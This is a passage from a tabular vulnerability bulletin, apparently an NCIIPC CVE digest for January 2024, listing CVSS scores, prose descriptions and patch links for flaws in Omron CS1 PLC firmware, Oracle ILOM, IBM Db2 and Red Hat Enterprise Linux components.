Product: cs1g-cpu42h_firmware					
Affected Version(s): * Up to (excluding) 4.1					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CS1G-090224/2968
Product: cs1g-cpu43h_firmware					
Affected Version(s): * Up to (excluding) 4.1					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic.	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CS1G-090224/2969

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-45790		
Product: cs1g-cpu44h_firmware					
Affected Version(s): * Up to (excluding) 4.1					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CS1G-090224/2970
Product: cs1g-cpu45h_firmware					
Affected Version(s): * Up to (excluding) 4.1					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CS1G-090224/2971

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			values including programmed logic. **CVE ID : CVE-2022-45790**		
Product: cs1h-cpu63h_firmware					
Affected Version(s): * Up to (excluding) 4.1					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CS1H-090224/2972
Product: cs1h-cpu64h_firmware					
Affected Version(s): * Up to (excluding) 4.1					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CS1H-090224/2973

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**		
Product: cs1h-cpu65h_firmware					
Affected Version(s): * Up to (excluding) 4.1					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CS1H-090224/2974
Product: cs1h-cpu66h_firmware					
Affected Version(s): * Up to (excluding) 4.1					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory.	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CS1H-090224/2975

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**		
Product: cs1h-cpu67h_firmware					
Affected Version(s): * Up to (excluding) 4.1					
Improper Restriction of Excessive Authentication Attempts	22-Jan-2024	9.1	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic. **CVE ID : CVE-2022-45790**	https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2023-010_en.pdf	O-OMR-CS1H-090224/2976
Vendor: Oracle					
Product: integrated_lights_out_manager_firmware					
Affected Version(s): 3.0.0					
N/A	16-Jan-2024	4.8	Vulnerability in the Integrated Lights Out Manager (ILOM) product of Oracle Systems (component: System Management). Supported versions that are affected are 3, 4 and 5.	https://www.oracle.com/security-alerts/cpujan2024.html	O-ORA-INTE-090224/2977

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Easily exploitable vulnerability allows high privileged attacker with network access via ICMP to compromise Integrated Lights Out Manager (ILOM). Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Integrated Lights Out Manager (ILOM), attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Integrated Lights Out Manager (ILOM) accessible data as well as unauthorized read access to a subset of Integrated Lights Out Manager (ILOM) accessible data. CVSS 3.1 Base Score 4.8 (Confidentiality and Integrity impacts). CVSS Vector:		

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			(CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N). **CVE ID : CVE-2024-20906**		
Affected Version(s): 4.0.0					
N/A	16-Jan-2024	4.8	Vulnerability in the Integrated Lights Out Manager (ILOM) product of Oracle Systems (component: System Management). Supported versions that are affected are 3, 4 and 5. Easily exploitable vulnerability allows high privileged attacker with network access via ICMP to compromise Integrated Lights Out Manager (ILOM). Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Integrated Lights Out Manager (ILOM), attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in	https://www.oracle.com/security-alerts/cpujan2024.html	O-ORA-INTE-090224/2978

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			unauthorized update, insert or delete access to some of Integrated Lights Out Manager (ILOM) accessible data as well as unauthorized read access to a subset of Integrated Lights Out Manager (ILOM) accessible data. CVSS 3.1 Base Score 4.8 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N). **CVE ID : CVE-2024-20906**		
Affected Version(s): 5.0.0					
N/A	16-Jan-2024	4.8	Vulnerability in the Integrated Lights Out Manager (ILOM) product of Oracle Systems (component: System Management). Supported versions that are affected are 3, 4 and 5. Easily exploitable vulnerability allows high privileged attacker with network access via ICMP to compromise Integrated Lights	https://www.oracle.com/security-alerts/cpujan2024.html	O-ORA-INTE-090224/2979

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Out Manager (ILOM). Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Integrated Lights Out Manager (ILOM), attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Integrated Lights Out Manager (ILOM) accessible data as well as unauthorized read access to a subset of Integrated Lights Out Manager (ILOM) accessible data. CVSS 3.1 Base Score 4.8 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N). **CVE ID : CVE-2024-20906**		
Product: solaris					
Affected Version(s): -					

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	22-Jan-2024	6.5	IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.5, 11.1, and 11.5 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 272644. **CVE ID : CVE-2023-47746**	https://exchange.xforce.ibmcloud.com/vulnerabilities/272644, https://www.ibm.com/support/pages/node/7105505	O-ORA-SOLA-090224/2980
N/A	22-Jan-2024	6.5	IBM Db2 10.1, 10.5, and 11.1 could allow a remote user to execute arbitrary code caused by installing like named jar files across multiple databases. A user could exploit this by installing a malicious jar file that overwrites the existing like named jar file in another database. IBM X-Force ID: 249205. **CVE ID : CVE-2023-27859**	https://exchange.xforce.ibmcloud.com/vulnerabilities/249205, https://www.ibm.com/support/pages/node/7105503	O-ORA-SOLA-090224/2981
N/A	22-Jan-2024	6.5	IBM DB2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.1, 10.5, and 11.1 could allow an authenticated user	https://exchange.xforce.ibmcloud.com/vulnerabilities/270750, https://www.ibm.com/support	O-ORA-SOLA-090224/2982

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 270750. **CVE ID : CVE-2023-47158**	/pages/node/7105496	
N/A	22-Jan-2024	6.5	IBM DB2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.1, 10.5, and 11.1 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 272646. **CVE ID : CVE-2023-47747**	https://exchange.xforce.ibmcloud.com/vulnerabilities/272646, https://www.ibm.com/support/pages/node/7105502	O-ORA-SOLA-090224/2983
Vendor: Redhat					
Product: enterprise_linux					
Affected Version(s): 6.0					
Out-of-bounds Write	18-Jan-2024	7.8	A flaw was found in the X.Org server. The cursor code in both Xephyr and Xwayland uses the wrong type of private at creation. It uses the cursor bits type with the cursor as private, and when initiating the cursor, that	N/A	O-RED-ENTE-090224/2984

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			overwrites the XSELINUX context. **CVE ID : CVE-2024-0409**		
N/A	18-Jan-2024	5.5	A flaw was found in the X.Org server. The GLX PBuffer code does not call the XACE hook when creating the buffer, leaving it unlabeled. When the client issues another request to access that resource (as with a GetGeometry) or when it creates another resource that needs to access that buffer, such as a GC, the XSELINUX code will try to use an object that was never labeled and crash because the SID is NULL. **CVE ID : CVE-2024-0408**	N/A	O-RED-ENTE-090224/2985
Affected Version(s): 7.0					
Out-of-bounds Write	25-Jan-2024	9.8	A remote code execution vulnerability was found in Shim. The Shim boot support trusts attacker-controlled values when parsing an HTTP response. This flaw allows an attacker to craft a	http://www.openwall.com/lists/oss-security/2024/01/26/1, https://access.redhat.com/security/cve/CVE-2023-40547, https://bugzilla.redhat.com/sh	O-RED-ENTE-090224/2986

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			specific malicious HTTP request, leading to a completely controlled out-of-bounds write primitive and complete system compromise. **CVE ID : CVE-2023-40547**	ow_bug.cgi?id=2234589	
Out-of-bounds Write	18-Jan-2024	7.8	A flaw was found in the X.Org server. The cursor code in both Xephyr and Xwayland uses the wrong type of private at creation. It uses the cursor bits type with the cursor as private, and when initiating the cursor, that overwrites the XSELINUX context. **CVE ID : CVE-2024-0409**	N/A	O-RED-ENTE-090224/2987
URL Redirection to Untrusted Site ('Open Redirect')	26-Jan-2024	6.1	A flaw was found in the redirect_uri validation logic in Keycloak. This issue may allow a bypass of otherwise explicitly allowed hosts. A successful attack may lead to an access token being stolen, making it possible for the attacker to	https://access.redhat.com/errata/RHSA-2023:7854, https://access.redhat.com/errata/RHSA-2023:7855, https://access.redhat.com/errata/RHSA-2023:7856, https://access.redhat.com/errata/RHSA-2023:7857,	O-RED-ENTE-090224/2988

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			impersonate other users. **CVE ID : CVE-2023-6291**	https://access.redhat.com/errata/RHSA-2023:7858	
N/A	18-Jan-2024	5.5	A flaw was found in the X.Org server. The GLX PBuffer code does not call the XACE hook when creating the buffer, leaving it unlabeled. When the client issues another request to access that resource (as with a GetGeometry) or when it creates another resource that needs to access that buffer, such as a GC, the XSELINUX code will try to use an object that was never labeled and crash because the SID is NULL. **CVE ID : CVE-2024-0408**	N/A	O-RED-ENTE-090224/2989
Affected Version(s): 8.0					
Out-of-bounds Write	25-Jan-2024	9.8	A remote code execution vulnerability was found in Shim. The Shim boot support trusts attacker-controlled values when parsing an HTTP response. This flaw allows an attacker to craft a	http://www.openwall.com/lists/oss-security/2024/01/26/1, https://access.redhat.com/security/cve/CVE-2023-40547, https://bugzilla.redhat.com/sh	O-RED-ENTE-090224/2990

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			specific malicious HTTP request, leading to a completely controlled out-of-bounds write primitive and complete system compromise. **CVE ID : CVE-2023-40547**	ow_bug.cgi?id=2234589	
Out-of-bounds Write	17-Jan-2024	7.8	An out-of-bounds memory write flaw was found in the Linux kernel's Transport Layer Security functionality in how a user calls a function splice with a ktls socket as the destination. This flaw allows a local user to crash or potentially escalate their privileges on the system. **CVE ID : CVE-2024-0646**	https://bugzilla.redhat.com/show_bug.cgi?id=2253908, https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=c5a595000e267	O-RED-ENTE-090224/2991
Out-of-bounds Write	18-Jan-2024	7.8	A flaw was found in the X.Org server. The cursor code in both Xephyr and Xwayland uses the wrong type of private at creation. It uses the cursor bits type with the cursor as private, and when initiating the cursor, that	N/A	O-RED-ENTE-090224/2992

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			overwrites the XSELINUX context. **CVE ID : CVE-2024-0409**		
NULL Pointer Dereference	28-Jan-2024	7.8	A null pointer dereference flaw was found in the hugetlbfs_fill_super function in the Linux kernel hugetlbfs (HugeTLB pages) functionality. This issue may allow a local user to crash the system or potentially escalate their privileges on the system. **CVE ID : CVE-2024-0841**	N/A	O-RED-ENTE-090224/2993
Observable Discrepancy	16-Jan-2024	7.5	A vulnerability was found in GnuTLS. The response times to malformed ciphertexts in RSA-PSK ClientKeyExchange differ from the response times of ciphertexts with correct PKCS#1 v1.5 padding. This issue may allow a remote attacker to perform a timing side-channel attack in the RSA-PSK key exchange, potentially leading to the leakage of sensitive data. CVE-2024-0553 is	https://gitlab.com/gnutls/gnutls/-/issues/1522	O-RED-ENTE-090224/2994

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			designated as an incomplete resolution for CVE-2023-5981. **CVE ID : CVE-2024-0553**		
Out-of-bounds Write	25-Jan-2024	7.5	An out-of-memory flaw was found in libtiff that could be triggered by passing a crafted tiff file to the TIFFRasterScanlineSize64() API. This flaw allows a remote attacker to cause a denial of service via a crafted input with a size smaller than 379 KB. **CVE ID : CVE-2023-52355**	https://bugzilla.redhat.com/show_bug.cgi?id=2251326	O-RED-ENTE-090224/2995
Out-of-bounds Write	25-Jan-2024	7.5	A segment fault (SEGV) flaw was found in libtiff that could be triggered by passing a crafted tiff file to the TIFFReadRGBATileExt() API. This flaw allows a remote attacker to cause a heap-buffer overflow, leading to a denial of service. **CVE ID : CVE-2023-52356**	https://gitlab.com/libtiff/libtiff/-/issues/622, https://gitlab.com/libtiff/libtiff/-/merge_requests/546	O-RED-ENTE-090224/2996
N/A	18-Jan-2024	6.6	A flaw was found in the Netfilter	https://bugzilla.redhat.com/sh	O-RED-ENTE-090224/2997

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			subsystem in the Linux kernel. The issue is in the nft_byteorder_eval() function, where the code iterates through a loop and writes to the `dst` array. On each iteration, 8 bytes are written, but `dst` is an array of u32, so each element only has space for 4 bytes. That means every iteration overwrites part of the previous element corrupting this array of u32. This flaw allows a local user to cause a denial of service or potentially break NetFilter functionality. **CVE ID : CVE-2024-0607**	ow_bug.cgi?id=2258635, https://github.com/torvalds/linux/commit/c301f0981fdd3fd1ffac6836b423c4d7a8e0eb63	
URL Redirection to Untrusted Site ('Open Redirect')	26-Jan-2024	6.1	A flaw was found in the redirect_uri validation logic in Keycloak. This issue may allow a bypass of otherwise explicitly allowed hosts. A successful attack may lead to an access token being stolen, making it possible for the attacker to	https://access.redhat.com/errata/RHSA-2023:7854, https://access.redhat.com/errata/RHSA-2023:7855, https://access.redhat.com/errata/RHSA-2023:7856, https://access.redhat.com/erra	O-RED-ENTE-090224/2998

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			impersonate other users. **CVE ID : CVE-2023-6291**	ta/RHSA-2023:7857, https://access.redhat.com/errata/RHSA-2023:7858	
Use After Free	16-Jan-2024	5.5	A heap use-after-free issue has been identified in SQLite in the jsonParseAddNodeArray() function in sqlite3.c. This flaw allows a local attacker to leverage a victim to pass specially crafted malicious input to the application, potentially causing a crash and leading to a denial of service. **CVE ID : CVE-2024-0232**	N/A	O-RED-ENTE-090224/2999
Improper Locking	17-Jan-2024	5.5	A denial of service vulnerability due to a deadlock was found in sctp_auto_asconf_init in net/sctp/socket.c in the Linux kernel's SCTP subsystem. This flaw allows guests with local user privileges to trigger a deadlock and potentially crash the system.	https://bugzilla.redhat.com/show_bug.cgi?id=2258754, https://github.com/torvalds/linux/commit/6feb37b3b06e9049e20dcf7e23998f92c9c5be9a	O-RED-ENTE-090224/3000

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0639		
Improper Locking	17-Jan-2024	5.5	A denial of service vulnerability was found in tipc_crypto_key_revoke in net/tipc/crypto.c in the Linux kernel's TIPC subsystem. This flaw allows guests with local user privileges to trigger a deadlock and potentially crash the system. **CVE ID : CVE-2024-0641**	https://bugzilla.redhat.com/show_bug.cgi?id=2258757, https://github.com/torvalds/linux/commit/08e50cf071847323414df0835109b6f3560d44f5	O-RED-ENTE-090224/3001
N/A	18-Jan-2024	5.5	A flaw was found in the X.Org server. The GLX PBuffer code does not call the XACE hook when creating the buffer, leaving it unlabeled. When the client issues another request to access that resource (as with a GetGeometry) or when it creates another resource that needs to access that buffer, such as a GC, the XSELINUX code will try to use an object that was never labeled and crash because the SID is NULL.	N/A	O-RED-ENTE-090224/3002

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0408		
Affected Version(s): 9.0					
Out-of-bounds Write	25-Jan-2024	9.8	A remote code execution vulnerability was found in Shim. The Shim boot support trusts attacker-controlled values when parsing an HTTP response. This flaw allows an attacker to craft a specific malicious HTTP request, leading to a completely controlled out-of-bounds write primitive and complete system compromise. **CVE ID : CVE-2023-40547**	http://www.openwall.com/lists/oss-security/2024/01/26/1, https://access.redhat.com/security/cve/CVE-2023-40547, https://bugzilla.redhat.com/show_bug.cgi?id=2234589	O-RED-ENTE-090224/3003
Out-of-bounds Write	17-Jan-2024	7.8	An out-of-bounds memory write flaw was found in the Linux kernel's Transport Layer Security functionality in how a user calls a function splice with a ktls socket as the destination. This flaw allows a local user to crash or potentially escalate their privileges on the system.	https://bugzilla.redhat.com/show_bug.cgi?id=2253908, https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=c5a595000e267	O-RED-ENTE-090224/3004

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0646		
Out-of-bounds Write	18-Jan-2024	7.8	A flaw was found in the X.Org server. The cursor code in both Xephyr and Xwayland uses the wrong type of private at creation. It uses the cursor bits type with the cursor as private, and when initiating the cursor, that overwrites the XSELINUX context. **CVE ID : CVE-2024-0409**	N/A	O-RED-ENTE-090224/3005
NULL Pointer Dereference	28-Jan-2024	7.8	A null pointer dereference flaw was found in the hugetlbfs_fill_super function in the Linux kernel hugetlbfs (HugeTLB pages) functionality. This issue may allow a local user to crash the system or potentially escalate their privileges on the system. **CVE ID : CVE-2024-0841**	N/A	O-RED-ENTE-090224/3006
Observable Discrepancy	16-Jan-2024	7.5	A vulnerability was found in GnuTLS. The response times to malformed ciphertexts in RSA-PSK ClientKeyExchange	https://gitlab.com/gnutls/gnutls/-/issues/1522	O-RED-ENTE-090224/3007

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			differ from the response times of ciphertexts with correct PKCS#1 v1.5 padding. This issue may allow a remote attacker to perform a timing side-channel attack in the RSA-PSK key exchange, potentially leading to the leakage of sensitive data. CVE-2024-0553 is designated as an incomplete resolution for CVE-2023-5981. **CVE ID : CVE-2024-0553**		
Out-of-bounds Write	25-Jan-2024	7.5	An out-of-memory flaw was found in libtiff that could be triggered by passing a crafted tiff file to the TIFFRasterScanline Size64() API. This flaw allows a remote attacker to cause a denial of service via a crafted input with a size smaller than 379 KB. **CVE ID : CVE-2023-52355**	https://bugzilla.redhat.com/show_bug.cgi?id=2251326	O-RED-ENTE-090224/3008
Out-of-bounds Write	25-Jan-2024	7.5	A segment fault (SEGV) flaw was found in libtiff that could be triggered by passing a	https://gitlab.com/libtiff/libtiff/-/issues/622, https://gitlab.com/libtiff/libtiff	O-RED-ENTE-090224/3009

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			crafted tiff file to the TIFFReadRGBATileExt() API. This flaw allows a remote attacker to cause a heap-buffer overflow, leading to a denial of service. **CVE ID : CVE-2023-52356**	/-/merge_requests/546	
Use After Free	22-Jan-2024	7.1	A use-after-free flaw was found in the __ext4_remount in fs/ext4/super.c in ext4 in the Linux kernel. This flaw allows a local user to cause an information leak problem while freeing the old quota file names before a potential failure, leading to a use-after-free. **CVE ID : CVE-2024-0775**	https://scm.linefinity.com/common/linux-stable/commit/4c0b4818b1f636bc96359f7817a2d8bab6370162	O-RED-ENTE-090224/3010
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	21-Jan-2024	7	A use-after-free flaw was found in the Linux Kernel due to a race problem in the unix garbage collector's deletion of SKB races with unix_stream_read_generic() on the socket that the SKB is queued on.	https://lore.kernel.org/all/c716c88321939156909cfa1bd8b0faaf1c804103.1701868795.git.asml.silence@gmail.com/	O-RED-ENTE-090224/3011

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-6531		
N/A	18-Jan-2024	6.6	A flaw was found in the Netfilter subsystem in the Linux kernel. The issue is in the nft_byteorder_eval() function, where the code iterates through a loop and writes to the `dst` array. On each iteration, 8 bytes are written, but `dst` is an array of u32, so each element only has space for 4 bytes. That means every iteration overwrites part of the previous element corrupting this array of u32. This flaw allows a local user to cause a denial of service or potentially break NetFilter functionality. **CVE ID : CVE-2024-0607**	https://bugzilla.redhat.com/show_bug.cgi?id=2258635, https://github.com/torvalds/linux/commit/c301f0981fdd3fd1ffac6836b423c4d7a8e0eb63	O-RED-ENTE-090224/3012
URL Redirection to Untrusted Site ('Open Redirect')	26-Jan-2024	6.1	A flaw was found in the redirect_uri validation logic in Keycloak. This issue may allow a bypass of otherwise explicitly allowed hosts. A successful attack may lead to	https://access.redhat.com/errata/RHSA-2023:7854, https://access.redhat.com/errata/RHSA-2023:7855, https://access.redhat.com/erra	O-RED-ENTE-090224/3013

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			an access token being stolen, making it possible for the attacker to impersonate other users. **CVE ID : CVE-2023-6291**	ta/RHSA-2023:7856, https://access.redhat.com/errata/RHSA-2023:7857, https://access.redhat.com/errata/RHSA-2023:7858	
Use After Free	16-Jan-2024	5.5	A heap use-after-free issue has been identified in SQLite in the jsonParseAddNodeArray() function in sqlite3.c. This flaw allows a local attacker to leverage a victim to pass specially crafted malicious input to the application, potentially causing a crash and leading to a denial of service. **CVE ID : CVE-2024-0232**	N/A	O-RED-ENTE-090224/3014
Improper Locking	17-Jan-2024	5.5	A denial of service vulnerability due to a deadlock was found in sctp_auto_asconf_init in net/sctp/socket.c in the Linux kernel's SCTP subsystem. This flaw allows guests with local user privileges to	https://bugzilla.redhat.com/show_bug.cgi?id=2258754, https://github.com/torvalds/linux/commit/6feb37b3b06e9049e20dcf7e23998f92c9c5be9a	O-RED-ENTE-090224/3015

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			trigger a deadlock and potentially crash the system. **CVE ID : CVE-2024-0639**		
Improper Locking	17-Jan-2024	5.5	A denial of service vulnerability was found in tipc_crypto_key_revoke in net/tipc/crypto.c in the Linux kernel's TIPC subsystem. This flaw allows guests with local user privileges to trigger a deadlock and potentially crash the system. **CVE ID : CVE-2024-0641**	https://bugzilla.redhat.com/show_bug.cgi?id=2258757, https://github.com/torvalds/linux/commit/08e50cf071847323414df0835109b6f3560d44f5	O-RED-ENTE-090224/3016
N/A	18-Jan-2024	5.5	A flaw was found in the X.Org server. The GLX PBuffer code does not call the XACE hook when creating the buffer, leaving it unlabeled. When the client issues another request to access that resource (as with a GetGeometry) or when it creates another resource that needs to access that buffer, such as a GC, the XSELINUX code will try to use an object that was	N/A	O-RED-ENTE-090224/3017

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			never labeled and crash because the SID is NULL. **CVE ID : CVE-2024-0408**		
Product: enterprise_linux_desktop					
Affected Version(s): 7.0					
Out-of-bounds Write	18-Jan-2024	9.8	A flaw was found in X.Org server. Both DeviceFocusEvent and the XIQueryPointer reply contain a bit for each logical button currently down. Buttons can be arbitrarily mapped to any value up to 255, but the X.Org Server was only allocating space for the device's particular number of buttons, leading to a heap overflow if a bigger value was used. **CVE ID : CVE-2023-6816**	http://www.openwall.com/lists/oss-security/2024/01/18/1	O-RED-ENTE-090224/3018
Out-of-bounds Write	18-Jan-2024	7.8	A flaw was found in the X.Org server. The cursor code in both Xephyr and Xwayland uses the wrong type of private at creation. It uses the cursor bits type with the cursor as private, and when initiating the cursor, that	N/A	O-RED-ENTE-090224/3019

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			overwrites the XSELINUX context. **CVE ID : CVE-2024-0409**		
N/A	18-Jan-2024	5.5	A flaw was found in the X.Org server. The GLX PBuffer code does not call the XACE hook when creating the buffer, leaving it unlabeled. When the client issues another request to access that resource (as with a GetGeometry) or when it creates another resource that needs to access that buffer, such as a GC, the XSELINUX code will try to use an object that was never labeled and crash because the SID is NULL. **CVE ID : CVE-2024-0408**	N/A	O-RED-ENTE-090224/3020
Product: enterprise_linux_for_ibm_z_systems					
Affected Version(s): 7.0					
Out-of-bounds Write	18-Jan-2024	7.8	A flaw was found in the X.Org server. The cursor code in both Xephyr and Xwayland uses the wrong type of private at creation. It uses the cursor bits type with the cursor as private,	N/A	O-RED-ENTE-090224/3021

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			and when initiating the cursor, that overwrites the XSELINUX context. **CVE ID : CVE-2024-0409**		
N/A	18-Jan-2024	5.5	A flaw was found in the X.Org server. The GLX PBuffer code does not call the XACE hook when creating the buffer, leaving it unlabeled. When the client issues another request to access that resource (as with a GetGeometry) or when it creates another resource that needs to access that buffer, such as a GC, the XSELINUX code will try to use an object that was never labeled and crash because the SID is NULL. **CVE ID : CVE-2024-0408**	N/A	O-RED-ENTE-090224/3022
Product: enterprise_linux_for_power_big_endian					
Affected Version(s): 7.0					
Out-of-bounds Write	18-Jan-2024	7.8	A flaw was found in the X.Org server. The cursor code in both Xephyr and Xwayland uses the wrong type of private at creation. It uses the cursor	N/A	O-RED-ENTE-090224/3023

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			bits type with the cursor as private, and when initiating the cursor, that overwrites the XSELINUX context. **CVE ID : CVE-2024-0409**		
N/A	18-Jan-2024	5.5	A flaw was found in the X.Org server. The GLX PBuffer code does not call the XACE hook when creating the buffer, leaving it unlabeled. When the client issues another request to access that resource (as with a GetGeometry) or when it creates another resource that needs to access that buffer, such as a GC, the XSELINUX code will try to use an object that was never labeled and crash because the SID is NULL. **CVE ID : CVE-2024-0408**	N/A	O-RED-ENTE-090224/3024
Product: enterprise_linux_for_power_little_endian					
Affected Version(s): 7.0					
Out-of-bounds Write	18-Jan-2024	7.8	A flaw was found in the X.Org server. The cursor code in both Xephyr and Xwayland uses the wrong type of	N/A	O-RED-ENTE-090224/3025

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			private at creation. It uses the cursor bits type with the cursor as private, and when initiating the cursor, that overwrites the XSELINUX context. **CVE ID : CVE-2024-0409**		
N/A	18-Jan-2024	5.5	A flaw was found in the X.Org server. The GLX PBuffer code does not call the XACE hook when creating the buffer, leaving it unlabeled. When the client issues another request to access that resource (as with a GetGeometry) or when it creates another resource that needs to access that buffer, such as a GC, the XSELINUX code will try to use an object that was never labeled and crash because the SID is NULL. **CVE ID : CVE-2024-0408**	N/A	O-RED-ENTE-090224/3026
Product: enterprise_linux_for_scientific_computing					
Affected Version(s): 7.0					
Out-of-bounds Write	18-Jan-2024	7.8	A flaw was found in the X.Org server. The cursor code in both Xephyr and	N/A	O-RED-ENTE-090224/3027

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Xwayland uses the wrong type of private at creation. It uses the cursor bits type with the cursor as private, and when initiating the cursor, that overwrites the XSELINUX context. **CVE ID : CVE-2024-0409**		
